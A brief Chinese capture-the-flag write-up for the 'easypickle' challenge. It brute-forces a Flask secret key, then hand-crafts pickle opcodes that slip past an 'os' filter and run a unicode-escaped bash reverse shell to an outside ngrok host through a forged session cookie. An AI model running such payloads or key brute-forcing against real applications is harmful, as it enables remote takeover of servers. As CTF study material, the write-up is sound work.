pickle反序列化
具体的学习看这篇博客,我就不多说什么了,这里主要是手搓一些opcode。
https://goodapple.top/archives/1069
[MTCTF 2022]easypickle
看源码

os.urandom(2).hex()会生成长度为4的字符串。可以用flask-unsign爆破SECRET_KEY。用以下脚本生成字典,可以反复爆破。
import os file_path='./key.txt' with open(file_path, 'w') as f: for i in range(1,9999): key = os.urandom(2).hex() f.write("\"{}\"\n".format(key))
爆破出SECRET_KEY。

在判断session.get('user')=='admin'后,会对session.get('ser_data')进行base64解码,经过替换后赋值给a,在对a进行判断,但是结果是对session.get('ser_data')进行反序列化。要绕过过滤的话,可以将o指令和s指令结合起来,这样os便会被替换成Os,绕过过滤。
paylaod:
import pickle import pickletools import base64 opcode=b'''(S"key" S"val" dS"exp" (cos system V\u0062\u0061\u0073\u0068\u0020\u002D\u0063\u0020\u0027\u0062\u0061\u0073\u0068\u0020\u002D\u0069\u0020\u003E\u0026\u0020\u002F\u0064\u0065\u0076\u002F\u0074\u0063\u0070\u002F\u006E\u0067\u0072\u006F\u006B\u002E\u0078\u0069\u0061\u006F\u006D\u0069\u0071\u0069\u0075\u0031\u0032\u0033\u002E\u0074\u006F\u0070\u002F\u0031\u0037\u0031\u0037\u0032\u0020\u0030\u003E\u0026\u0031\u0027 os.''' pickletools.dis(opcode) print(base64.b64encode(opcode))
因为反弹shell时有i字符,所以使用unicode编码绕过。
将得到的payload拿去伪造session。

burp抓包,在/admin发送session。

成功弹到shell。


浙公网安备 33010602011771号